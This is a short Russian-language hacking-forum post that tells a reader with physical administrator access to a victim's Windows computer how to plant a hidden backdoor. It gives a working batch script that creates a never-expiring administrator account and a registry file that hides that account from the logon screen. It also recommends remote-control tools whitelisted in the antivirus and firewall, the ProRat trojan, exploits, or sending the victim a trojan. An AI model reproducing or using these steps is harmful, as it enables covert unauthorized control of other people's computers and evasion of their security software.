Если есть физический доступ к компу и аккаунт с правами администратора на нем то лучше всего сделать скрытую учетную запись в системе,а после этого пляши как хочешь. Создаешь текстовый файл, копируешь туда вот это:

@echo off
net user SUPPORT_388945a02 your_password /add /expires:never
net localgroup administrators user /add
@echo off

Меняешь расширение файла на cmd, запускаешь его на компе таргета.
Чтобы сделать учетку невидимой, создаешь файл с расширением .reg и копируешь туда следующее:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\
UserList]
"SUPPORT_388945a02"=dword:00000000

Запускаешь это файл после CMD-шного.
Если IP жертвы статический – это просто сказка, если динамический – ищи по форуму топик “высылка IP жертвы на email”. Если IP за NAT’ом – юзай трой ProRat (как вариант).
Можешь поставить Radmin, VNC – это если есть физический доступ к компу (не забудь их добавить в исключения для антивируса и фаерволла), если нет – юзай сполиты, либо высылай троян жертве.
Вобщем, думаю разберешься.

Вот почитай еще:
http://forum.antichat.ru/thread97202-%EF%EE%F1%EB%E5+CMD.html